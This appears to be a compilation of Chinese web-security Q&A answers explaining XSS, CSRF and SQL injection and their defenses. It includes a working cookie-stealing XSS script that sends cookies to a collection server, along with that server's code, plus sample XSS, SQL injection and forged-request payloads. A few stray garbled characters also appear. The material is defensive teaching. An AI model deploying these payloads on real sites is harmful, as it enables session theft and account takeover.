⑴ 如何正確防禦xss攻擊
傳統防禦技術
2.1.1基於特徵的防禦
傳統XSS防禦多採用特徵匹配方式,在所有提交的信息中都進行匹配檢查。對於這種類型的XSS攻擊,採用的模式匹配方法一般會需要對「javascript」這個關鍵字進行檢索,一旦發現提交信息中包含「javascript」,就認定為XSS攻擊。
2.1.2 基於代碼修改的防禦
和sql注入防禦一樣,XSS攻擊也是利用了Web頁面的編寫疏忽,所以還有一種方法就是從Web應用開發的角度來避免:
1、對所有用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度范圍內、採用適當格式、採用所預期的字元的內容提交,對其他的一律過濾。
2、實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
3、確認接收的的內容被妥善的規范化,僅包含最小的、安全的Tag(沒有javascript),去掉任何對遠程內容的引用(尤其是樣式表和javascript),使用HTTP only的cookie。
當然,如上方法將會降低Web業務系統的可用性,用戶僅能輸入少量的制定字元,人與系統間的交互被降到極致,僅適用於信息發布型站點。
並且考慮到很少有Web編碼人員受過正規的安全培訓,很難做到完全避免頁面中的XSS漏洞。
(1)xss前端過濾擴展閱讀:
XSS攻擊的危害包括
1、盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號、各類管理員帳號
2、控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力
3、盜竊企業重要的具有商業價值的資料
4、非法轉賬
5、強制發送電子郵件
6、網站掛馬
7、控制受害者機器向其它網站發起攻擊
受攻擊事件
新浪微博XSS受攻擊事件
2011年6月28日晚,新浪微博出現了一次比較大的XSS攻擊事件。
大量用戶自動發送諸如:
「郭美美事件的一些未注意到的細節」,「建黨大業中穿幫地方」,「讓女人心動的100句詩歌」,「這是傳說中的神仙眷侶啊」等等微博和私信,並自動關注一位名為hellosamy的用戶。
事件的經過線索如下:
20:14,開始有大量帶V的認證用戶中招轉發蠕蟲
20:30,某網站中的病毒頁面無法訪問
20:32,新浪微博中hellosamy用戶無法訪問
21:02,新浪漏洞修補完畢
網路貼吧xss攻擊事件
2014年3月9晚,六安吧等幾十個貼吧出現點擊推廣貼會自動轉發等。並且吧友所關注的每個關注的貼吧都會轉一遍,病毒循環發帖。並且導致吧務人員,和吧友被封禁。
⑵ XSS是什麼
1、XSS是跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。
2、惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裡面的html代碼會被執行,從而達到惡意攻擊用戶的特殊目的。
3、XSS攻擊分成兩類,一類是來自內部的攻擊,主要指的是利用程序自身的漏洞,構造跨站語句,如:dvbbs的showerror.asp存在的跨站漏洞。
4、另一類則是來自外部的攻擊,主要指的自己構造XSS跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。如當要滲透一個站點,自己構造一個有跨站漏洞的網頁,然後構造跨站語句,通過結合其它技術,如社會工程學等,欺騙目標伺服器的管理員打開。
⑶ 3大Web安全漏洞防禦詳解:XSS、CSRF、以及SQL注入解決方案
隨著互聯網的普及,網路安全變得越來越重要。Java等程序員需要掌握基本的web安全知識,防患於未然,下面列舉一些常見的安全漏洞,以及對應的防禦解決方案。
1.前端安全
2.後端安全
1.XSS簡介
跨站腳本(cross site script)簡稱為XSS,是一種經常出現在web應用中的計算機安全漏洞,也是web中最主流的攻擊方式。
XSS是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁面中去,使別的用戶訪問都會執行相應的嵌入代碼。
2.XSS攻擊的危害
1、盜取用戶資料,比如:登錄帳號、網銀帳號等
2、利用用戶身份,讀取、篡改、添加、刪除企業敏感數據等
3、盜竊企業重要的具有商業價值的資料
4、非法轉賬
5、強制發送電子郵件
6、網站掛馬
7、控制受害者機器向其它網站發起攻擊
3.防止XSS解決方案
XSS的根源主要是沒完全過濾客戶端提交的數據 ,所以重點是要過濾用戶提交的信息。
1.CSRF簡介
CSRF(Cross-site request forgery)跨站請求偽造,也被稱為「One Click Attack」或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。
XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF更具危險性。
2.CSRF攻擊的危害
主要的危害來自於,攻擊者盜用了用戶身份,發送惡意請求。比如:模擬用戶的行為發送郵件,發消息,以及支付、轉賬等財產安全。
3.防止CSRF的解決方案
1.簡介
SQL注入是比較常見的網路攻擊方式之一,主要是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字元串,實現無帳號登錄,甚至篡改資料庫。
2.SQL注入的危害
3.防止SQL注入的方式
通常情況下,SQL注入的位置包括:
(1)表單提交,主要是POST請求,也包括GET請求;
(2)URL參數提交,主要為GET請求參數;
(3)Cookie參數提交;
(4)HTTP請求頭部的一些可修改的值,比如Referer、User_Agent等;
4.簡要舉例
舉一個簡單的例子,select * from user where id=100 ,表示查詢id為100的用戶信息,如果id=100變為 id=100 or 2=2,sql將變為:select * from user where id=100 or 2=2,將把所有user表的信息查詢出來,這就是典型的sql注入。
5.防止SQL注入的解決方案
1)對用戶的輸入進行校驗,使用正則表達式過濾傳入的參數
2)使用參數化語句,不要拼接sql,也可以使用安全的存儲過程
3)不要使用管理員許可權的資料庫連接,為每個應用使用許可權有限的資料庫連接
4)檢查數據存儲類型
5)重要的信息一定要加密
總之就是既要做好過濾與編碼並使用參數化語句,也要把重要的信息進行加密處理,這樣sql注入漏洞才能更好的解決。
以上就是Web安全介紹,更多Redis系列、Spring Cloud、Dubbo等微服務、MySQL資料庫分庫分表等架構設計,具體請參考:
回復關鍵詞 【高並發】即可獲取!
⑷ xss漏洞防禦方法
xss漏洞防禦方法有輸入過濾、純前端渲染、轉義HTML和標簽和屬性基於白名單過濾。
輸入過濾:有時候需要多次過濾,猛神汪例如<scrip<script>t>過濾掉<script>後還是<script>,需要注意多個過濾器的先後次序。當多個過濾器一起生效時,有可能後進行的過濾導致前面的過濾失效。
純前端渲染:在純前端渲染中,我們會明確的告訴瀏覽器:下面要設置的內容是文本(innerText),還是屬性(setAttribute),還是瞎信樣式(style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了。
轉義HTML:如果拼接HTML是必要的,就需要採用合適的轉義庫,對HTML模板各處插入點進行充分的轉義。常用的模板引擎,如ejs、FreeMarker等,對於HTML轉義通常只有一個規則,就是把&、<、>、"、'、/這幾個字元轉義掉,確實能起到一定的XSS防護作用。枝仔
標簽和屬性基於白名單過濾:對於副文本編輯器來說,其產物本身就是html代碼,所以沒辦法簡單粗暴使用轉義來處理,應該要對內容中的標簽和屬性,基於白名單進行過濾(附XSS黑名單:DOM中的內聯事件監聽器如onclick等、<a>標簽的href屬性、<script>標簽、css中的url功能)。
xss攻擊的原理
HTML是一種超文本標記語言,通過將一些字元特殊地對待來區別文本和標記,例如,小於符號(<)被看作是HTML標簽的開始,<title>與</title>之間的字元是頁面的標題等等。
當動態頁面中插入的內容含有這些特殊字元(如<)時,用戶瀏覽器會將其誤認為是插入了HTML標簽,當這些HTML標簽引入了一段JavaScript腳本時,這些腳本程序就將會在用戶瀏覽器中執行。所以,當這些特殊字元不能被動態頁面檢查或檢查出現失誤時,就將會產生XSS漏洞。
⑸ 前端安全方面有沒有了解xss和csrf如何攻防
在那個年代,大家一般用拼接字元串的方式來構造動態 SQL 語句創建應用,於是 SQL 注入成了很流行的攻擊方式。在這個年代, 參數化查詢 已經成了普遍用法,我們已經離 SQL 注入很遠了。但是,歷史同樣悠久的 XSS 和 CSRF 卻沒有遠離我們。由於之前已經對 XSS 很熟悉了,所以我對用戶輸入的數據一直非常小心。如果輸入的時候沒有經過 Tidy 之類的過濾,我一定會在模板輸出時候全部轉義。所以個人感覺,要避免 XSS 也是很容易的,重點是要「小心」。但最近又聽說了另一種跨站攻擊 CSRF ,於是找了些資料了解了一下,並與 XSS 放在一起做個比較。
XSS:腳本中的不速之客
XSS 全稱「跨站腳本」,是注入攻擊的一種。其特點是不對伺服器端造成任何傷害,而是通過一些正常的站內交互途徑,例如發布評論,提交含有 JavaScript 的內容文本。這時伺服器端如果沒有過濾或轉義掉這些腳本,作為內容發布到了頁面上,其他用戶訪問這個頁面的時候就會運行這些腳本。
運行預期之外的腳本帶來的後果有很多中,可能只是簡單的惡作劇——一個關不掉的窗口:
1
2
3
while (true) {
alert("你關不掉我~");
}
也可以是盜號或者其他未授權的操作——我們來模擬一下這個過程,先建立一個用來收集信息的伺服器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站腳本注入的信息收集伺服器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然後在某一個頁面的評論中注入這段代碼:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"></script> 包起來放在評論中
(function(window, document) {
// 構造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用於通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);
於是每個訪問到含有該評論的頁面的用戶都會遇到麻煩——他們不知道背後正悄悄的發起了一個請求,是他們所看不到的。而這個請求,會把包含了他們的帳號和其他隱私的信息發送到收集伺服器上。
我們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器做了限制,只能訪問當前域名下的 URL,所謂不能「跨域」問題。這種做法的初衷也是防範 XSS,多多少少都起了一些作用,但不是總是有用,正如上面的注入代碼,用 iframe 也一樣可以達到相同的目的。甚至在願意的情況下,我還能用 iframe 發起 POST 請求。當然,現在一些瀏覽器能夠很智能地分析出部分 XSS 並予以攔截,例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功,何況這個世界上還有大量根本不知道什麼是瀏覽器的用戶在用著可怕的 IE6。從原則上將,我們也不應該把事關安全性的責任推脫給瀏覽器,所以防止 XSS 的根本之道還是過濾用戶輸入。用戶輸入總是不可信任的,這點對於 Web 開發者應該是常識。
正如上文所說,如果我們不需要用戶輸入 HTML 而只想讓他們輸入純文本,那麼把所有用戶輸入進行 HTML 轉義輸出是個不錯的做法。似乎很多 Web 開發框架、模版引擎的開發者也發現了這一點,Django 內置模版和 Jinja2 模版總是默認轉義輸出變數的。如果沒有使用它們,我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數,Python 可以導入 cgi 模塊用其中的 cgi.escape 函數。如果使用了某款模版引擎,那麼其必自帶了方便快捷的轉義方式。
真正麻煩的是,在一些場合我們要允許用戶輸入 HTML,又要過濾其中的腳本。Tidy 等 HTML 清理庫可以幫忙,但前提是我們小心地使用。僅僅粗暴地去掉 script 標簽是沒有用的,任何一個合法 HTML 標簽都可以添加 onclick 一類的事件屬性來執行 JavaScript。對於復雜的情況,我個人更傾向於使用簡單的方法處理,簡單的方法就是白名單重新整理。用戶輸入的 HTML 可能擁有很復雜的結構,但我們並不將這些數據直接存入資料庫,而是使用 HTML 解析庫遍歷節點,獲取其中數據(之所以不使用 XML 解析庫是因為 HTML 要求有較強的容錯性)。然後根據用戶原有的標簽屬性,重新構建 HTML 元素樹。構建的過程中,所有的標簽、屬性都只從白名單中拿取。這樣可以確保萬無一失——如果用戶的某種復雜輸入不能為解析器所識別(前面說了 HTML 不同於 XML,要求有很強的容錯性),那麼它不會成為漏網之魚,因為白名單重新整理的策略會直接丟棄掉這些未能識別的部分。最後獲得的新 HTML 元素樹,我們可以拍胸脯保證——所有的標簽、屬性都來自白名單,一定不會遺漏。
現在看來,大多數 Web 開發者都了解 XSS 並知道如何防範,往往大型的 XSS 攻擊(包括前段時間新浪微博的 XSS 注入)都是由於疏漏。我個人建議在使用模版引擎的 Web 項目中,開啟(或不要關閉)類似 Django Template、Jinja2 中「默認轉義」(Auto Escape)的功能。在不需要轉義的場合,我們可以用類似 的方式取消轉義。這種白名單式的做法,有助於降低我們由於疏漏留下 XSS 漏洞的風險。
另外一個風險集中區域,是富 AJAX 類應用(例如豆瓣網的阿爾法城)。這類應用的風險並不集中在 HTTP 的靜態響應內容,所以不是開啟模版自動轉義能就能一勞永逸的。再加上這類應用往往需要跨域,開發者不得不自己打開危險的大門。這種情況下,站點的安全非常 依賴開發者的細心和應用上線前有效的測試。現在亦有不少開源的 XSS 漏洞測試軟體包(似乎有篇文章提到豆瓣網的開發也使用自動化 XSS 測試),但我都沒試用過,故不予評價。不管怎麼說,我認為從用戶輸入的地方把好關總是成本最低而又最有效的做法。
CSRF:冒充用戶之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什麼區別,後來才明白 CSRF 和 XSS 根本是兩個不同維度上的分類。XSS 是實現 CSRF 的諸多途徑中的一條,但絕對不是唯一的一條。一般習慣上把通過 XSS 來實現的 CSRF 稱為 XSRF。
CSRF 的全稱是「跨站請求偽造」,而 XSS 的全稱是「跨站腳本」。看起來有點相似,它們都是屬於跨站攻擊——不攻擊伺服器端而攻擊正常訪問網站的用戶,但前面說了,它們的攻擊類型是不同維度上的分 類。CSRF 顧名思義,是偽造請求,冒充用戶在站內的正常操作。我們知道,絕大多數網站是通過 cookie 等方式辨識用戶身份(包括使用伺服器端 Session 的網站,因為 Session ID 也是大多保存在 cookie 裡面的),再予以授權的。所以要偽造用戶的正常操作,最好的方法是通過 XSS 或鏈接欺騙等途徑,讓用戶在本機(即擁有身份 cookie 的瀏覽器端)發起用戶所不知道的請求。
嚴格意義上來說,CSRF 不能分類為注入攻擊,因為 CSRF 的實現途徑遠遠不止 XSS 注入這一條。通過 XSS 來實現 CSRF 易如反掌,但對於設計不佳的網站,一條正常的鏈接都能造成 CSRF。
例如,一論壇網站的發貼是通過 GET 請求訪問,點擊發貼之後 JS 把發貼內容拼接成目標 URL 並訪問:
http://example.com/bbs/create_post.php?title=標題&content=內容
那麼,我只需要在論壇中發一帖,包含一鏈接:
http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈
只要有用戶點擊了這個鏈接,那麼他們的帳戶就會在不知情的情況下發布了這一帖子。可能這只是個惡作劇,但是既然發貼的請求可以偽造,那麼刪帖、轉帳、改密碼、發郵件全都可以偽造。
如何解決這個問題,我們是否可以效仿上文應對 XSS 的做法呢?過濾用戶輸入, 不允許發布這種含有站內操作 URL 的鏈接。這么做可能會有點用,但阻擋不了 CSRF,因為攻擊者可以通過 QQ 或其他網站把這個鏈接發布上去,為了偽裝可能還使用 bit.ly 壓縮一下網址,這樣點擊到這個鏈接的用戶還是一樣會中招。所以對待 CSRF ,我們的視角需要和對待 XSS 有所區別。CSRF 並不一定要有站內的輸入,因為它並不屬於注入攻擊,而是請求偽造。被偽造的請求可以是任何來源,而非一定是站內。所以我們唯有一條路可行,就是過濾請求的 處理者。
比較頭痛的是,因為請求可以從任何一方發起,而發起請求的方式多種多樣,可以通過 iframe、ajax(這個不能跨域,得先 XSS)、Flash 內部發起請求(總是個大隱患)。由於幾乎沒有徹底杜絕 CSRF 的方式,我們一般的做法,是以各種方式提高攻擊的門檻。
首先可以提高的一個門檻,就是改良站內 API 的設計。對於發布帖子這一類創建資源的操作,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變伺服器端資源。當然,最理想的做法是使用 REST 風格 的 API 設計,GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、創建、修改、刪除。現在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法,我們可以使用 ajax 提交請求(例如通過 jquery-form 插件,我最喜歡的做法),也可以使用隱藏域指定請求方法,然後用 POST 模擬 PUT 和 DELETE (Ruby on Rails 的做法)。這么一來,不同的資源操作區分的非常清楚,我們把問題域縮小到了非 GET 類型的請求上——攻擊者已經不可能通過發布鏈接來偽造請求了,但他們仍可以發布表單,或者在其他站點上使用我們肉眼不可見的表單,在後台用 js 操作,偽造請求。
接下來我們就可以用比較簡單也比較有效的方法來防禦 CSRF,這個方法就是「請求令牌」。讀過《J2EE 核心模式》的同學應該對「同步令牌」應該不會陌生,「請求令牌」和「同步令牌」原理是一樣的,只不過目的不同,後者是為了解決 POST 請求重復提交問題,前者是為了保證收到的請求一定來自預期的頁面。實現方法非常簡單,首先伺服器端要以某種策略生成隨機字元串,作為令牌(token), 保存在 Session 里。然後在發出請求的頁面,把該令牌以隱藏域一類的形式,與其他信息一並發出。在接收請求的頁面,把接收到的信息中的令牌與 Session 中的令牌比較,只有一致的時候才處理請求,否則返回 HTTP 403 拒絕請求或者要求用戶重新登陸驗證身份。
請求令牌雖然使用起來簡單,但並非不可破解,使用不當會增加安全隱患。使用請求令牌來防止 CSRF 有以下幾點要注意:
雖然請求令牌原理和驗證碼有相似之處,但不應該像驗證碼一樣,全局使用一個 Session Key。因為請求令牌的方法在理論上是可破解的,破解方式是解析來源頁面的文本,獲取令牌內容。如果全局使用一個 Session Key,那麼危險系數會上升。原則上來說,每個頁面的請求令牌都應該放在獨立的 Session Key 中。我們在設計伺服器端的時候,可以稍加封裝,編寫一個令牌工具包,將頁面的標識作為 Session 中保存令牌的鍵。
在 ajax 技術應用較多的場合,因為很有請求是 JavaScript 發起的,使用靜態的模版輸出令牌值或多或少有些不方便。但無論如何,請不要提供直接獲取令牌值的 API。這么做無疑是鎖上了大門,卻又把鑰匙放在門口,讓我們的請求令牌退化為同步令牌。
第一點說了請求令牌理論上是可破解的,所以非常重要的場合,應該考慮使用驗證碼(令牌的一種升級,目前來看破解難度極大),或者要求用戶再次輸入密碼(亞馬遜、淘寶的做法)。但這兩種方式用戶體驗都不好,所以需要產品開發者權衡。
無論是普通的請求令牌還是驗證碼,伺服器端驗證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學校的選課系統就有這個 問題,驗證碼用完並未銷毀,故只要獲取一次驗證碼圖片,其中的驗證碼可以在多次請求中使用(只要不再次刷新驗證碼圖片),一直用到 Session 超時。這也是為何選課系統加了驗證碼,外掛軟體升級一次之後仍然暢通無阻。
如下也列出一些據說能有效防範 CSRF,其實效果甚微的方式甚至無效的做法。
通過 referer 判定來源頁面:referer 是在 HTTP Request Head 裡面的,也就是由請求的發送者決定的。如果我喜歡,可以給 referer 任何值。當然這個做法並不是毫無作用,起碼可以防小白。但我覺得性價比不如令牌。
過濾所有用戶發布的鏈接:這個是最無效的做法,因為首先攻擊者不一定要從站內發起請求(上面提到過了),而且就算從站內發起請求,途徑也遠遠不知鏈接一條。比如 <img src="./create_post.php" /> 就是個不錯的選擇,還不需要用戶去點擊,只要用戶的瀏覽器會自動載入圖片,就會自動發起請求。 *在請求發起頁面用 alert 彈窗提醒用戶:這個方法看上去能幹擾站外通過 iframe 發起的 CSRF,但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞,或者乾脆脫離 iframe,使用 Flash 來達到目的。
總體來說,目前防禦 CSRF 的諸多方法還沒幾個能徹底無解的。所以 CSDN 上看到討論 CSRF 的文章,一般都會含有「無恥」二字來形容(另一位有該名號的貌似是 DDOS 攻擊)。作為開發者,我們能做的就是盡量提高破解難度。當破解難度達到一定程度,網站就逼近於絕對安全的位置了(雖然不能到達)。上述請求令牌方法,就我 認為是最有可擴展性的,因為其原理和 CSRF 原理是相剋的。CSRF 難以防禦之處就在於對伺服器端來說,偽造的請求和正常的請求本質上是一致的。而請求令牌的方法,則是揪出這種請求上的唯一區別——來源頁面不同。我們還可 以做進一步的工作,例如讓頁面中 token 的 key 動態化,進一步提高攻擊者的門檻。本文只是我個人認識的一個總結,便不討論過深了。
⑹ 富文本編輯器的xss攻擊過濾怎麼實現前端
要測試 、富文本編輯器自編輯看看顯示行麽
⑺ 如何防止xss攻擊,需要過濾什麼
XSS攻擊通常是指黑客通過"HTML注入"篡改了網頁,插入了惡意的腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊。
一、HttpOnly防止劫取Cookie
HttpOnly最早由微軟提出,至今已經成為一個標准。瀏覽器將禁止頁面的Javascript訪問帶有HttpOnly屬性的Cookie。目前主流瀏覽器都支持,HttpOnly解決是XSS後的Cookie支持攻擊。
我們來看下網路有沒有使用。
未登錄時的Cookie信息
可以看到,所有Cookie都沒有設置HttpOnly,現在我登錄下
發現在個叫BDUSS的Cookie設置了HttpOnly。可以猜測此Cookie用於認證。
下面我用PHP來實現下:
<?php
header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly",false);
setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);
setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);
?>
<script>
alert(document.cookie);
</script>
js只能讀到沒有HttpOnly標識的Cookie
二、輸入檢查
輸入檢查一般是檢查用戶輸入的數據中是否包含一些特殊字元,如<、>、'、"等,如果發現存在特殊字元,則將這些字元過濾或者編碼。
例如網站注冊經常用戶名只允許字母和數字的組合,或者郵箱電話,我們會在前端用js進行檢查,但在伺服器端代碼必須再次檢查一次,因為客戶端的檢查很容易繞過。
網上有許多開源的「XSS Filter」的實現,但是它們應該選擇性的使用,因為它們對特殊字元的過濾可能並非數據的本意。比如一款php的lib_filter類:
$filter = new lib_filter();
echo $filter->go('1+1>1');
它輸出的是1,這大大歪曲了數據的語義,因此什麼情況應該對哪些字元進行過濾應該適情況而定。
三、輸出檢查
大多人都知道輸入需要做檢查,但卻忽略了輸出檢查。
1、在HTML標簽中輸出
如代碼:
<?php
$a = "<script>alert(1);</script>";
$b = "<img src=# onerror=alert(2) />";
?>
<div><?=$b?></div>
<a href="#"><?=$a?></a>
這樣客戶端受到xss攻擊,解決方法就是對變數使用htmlEncode,php中的函數是htmlentities
<?php
$a = "<script>alert(1);</script>";
$b = "<img src=# onerror=alert(2) />";
?>
<div><?=htmlentities($b)?></div>
<a href="#"><?=htmlentities($a)?></a>
2、在HTML屬性中輸出
<div id="div" name ="$var"></div>
這種情況防禦也是使用htmlEncode
在owasp-php中實現:
$immune_htmlattr = array(',', '.', '-', '_');
$this->htmlEntityCodec->encode($this->immune_htmlattr, "\"><script>123123;</script><\"");
3、在<script>標簽中輸出
如代碼:
<?php
$c = "1;alert(3)";
?>
<script type="text/javascript">
var c = <?=$c?>;
</script>
這樣xss又生效了。首先js變數輸出一定要在引號內,但是如果我$c = "\"abc;alert(123);//",你會發現放引號中都沒用,自帶的函數都不能很好的滿足。這時只能使用一個更加嚴格的JavascriptEncode函數來保證安全——除數字、字母外的所有字元,都使用十六進制"\xHH"的方式進行編碼。這里我採用開源的owasp-php方法來實現
$immune = array("");
echo $this->javascriptCodec->encode($immune, "\"abc;alert(123);//");
最後輸出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F
4、在事件中輸出
<a href="#" onclick="funcA('$var')" >test</a>
可能攻擊方法
<a href="#" onclick="funcA('');alter(/xss/;//')">test</a>
這個其實就是寫在<script>中,所以跟3防禦相同
5、在css中輸出
在owasp-php中實現:
$immune = array("");
$this->cssCodec->encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');
6、在地址中輸出
先確保變數是否是"http"開頭,然後再使用js的encodeURI或encodeURIComponent方法。
在owasp-php中實現:
$instance = ESAPI::getEncoder();
$instance->encodeForURL(『url』);
四、處理富文體
就像我寫這篇博客,我幾乎可以隨意輸入任意字元,插入圖片,插入代碼,還可以設置樣式。這個時要做的就是設置好白名單,嚴格控制標簽。能自定義 css件麻煩事,因此最好使用成熟的開源框架來檢查。php可以使用htmlpurify
五、防禦DOM Based XSS
DOM Based XSS是從javascript中輸出數據到HTML頁面里。
<script>
var x = "$var";
document.write("<a href='"+x+"'>test</a>");
</script>
按照三中輸出檢查用到的防禦方法,在x賦值時進行編碼,但是當document.write輸出數據到HTML時,瀏覽器重新渲染了頁面,會將x進行解碼,因此這么一來,相當於沒有編碼,而產生xss。
防禦方法:首先,還是應該做輸出防禦編碼的,但後面如果是輸出到事件或腳本,則要再做一次javascriptEncode編碼,如果是輸出到HTML內容或屬性,則要做一次HTMLEncode。
會觸發DOM Based XSS的地方有很多:
document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()
⑻ 如何防禦XSS
要想從根本上解決XSS攻擊,就要對Web應用程序源代碼進行檢查,發現安全漏洞進行修改。但是這種方法在實際中給用戶帶來了不便,如:需要花費大量的人力財力;可能無法找到當時的網站開發人員、需要網站下線等。對代碼進行修改後,由於增加了過濾條件和功能,同時也給伺服器帶來了計算壓力。通常的解決方法是在資料庫伺服器前端部署入侵防禦產品。XSS攻擊具有變種多、隱蔽性強等特點,傳統的特徵匹配檢測方式不能有效地進行防禦,需要採用基於攻擊手法的行為監測的入侵防禦產品產品才能夠精確地檢測到XSS攻擊。
⑼ XSS攻擊的定義,類型以及防禦方法
XXS攻擊全稱跨站腳本攻擊,是一種在Web應用中的計算機安全漏洞,它允許惡意Web用戶將代碼植入到提供給其他使用的頁面中。
XSS攻擊有哪幾種類型?下面就由銳速雲的小編為大家介紹一下
經常見到XSS攻擊有三種:反射XSS攻擊、DOM-based型XSS攻擊以及儲存型XSS攻擊。
[if !supportLists]1、[endif]反射型XSS攻擊
反射性XSS一般是攻擊者通過特定手法(如電子郵件),誘使用戶去訪問一個包含惡意代碼的URL,當受害者點擊這些專門設計鏈接的時候,惡意代碼會直接在受害主機上的瀏覽器上執行,反射型XSS通常出現在網站搜索欄,用戶登入口等地方,常用來竊取客戶端或進行釣魚欺騙。
[if !supportLists]2、[endif]存儲型XSS攻擊
存儲型XSS攻擊也叫持久型XSS,主要將XSS代碼提交儲存在伺服器端(資料庫,內存,文件系統等)下次請求目標頁面時不用在提交XSS代碼。當目標用戶訪問該頁面獲取數據時,XSS代碼會從伺服器解析之後載入出來,返回到瀏覽器做正常的HTML和JS解析執行,XSS攻擊就發生了。儲存型XSS一般出現在網站留言,評論,博客日誌等交互處,惡意腳本儲存到客戶端或者服務端的資料庫中。
[if !supportLists]3、[endif]DOM-based型XSS攻擊
DOM-based型XSS攻擊它是基於DOM的XSS攻擊是指通過惡意腳本修改頁面的DOM結構,是純粹發生在客戶端的攻擊。DOM型XSS攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬於前端JavaScript自身的安全漏洞。
如何防禦XSS攻擊?
[if !supportLists]1、[endif]對輸入內容的特定字元進行編碼,列如表示html標記<>等符號。
[if !supportLists]2、[endif]對重要的cookie設置httpOnly,防止客戶端通過document。cookie讀取cookie,此HTTP開頭由服務端設置。
[if !supportLists]3、[endif]將不可信的輸出URT參數之前,進行URLEncode操作,而對於從URL參數中獲取值一定要進行格式檢查
[if !supportLists]4、[endif]不要使用Eval來解析並運行不確定的數據或代碼,對於JSON解析請使用JSON。Parse()方法
[if !supportLists]5、[endif]後端介面也應該要做到關鍵字元過濾的問題。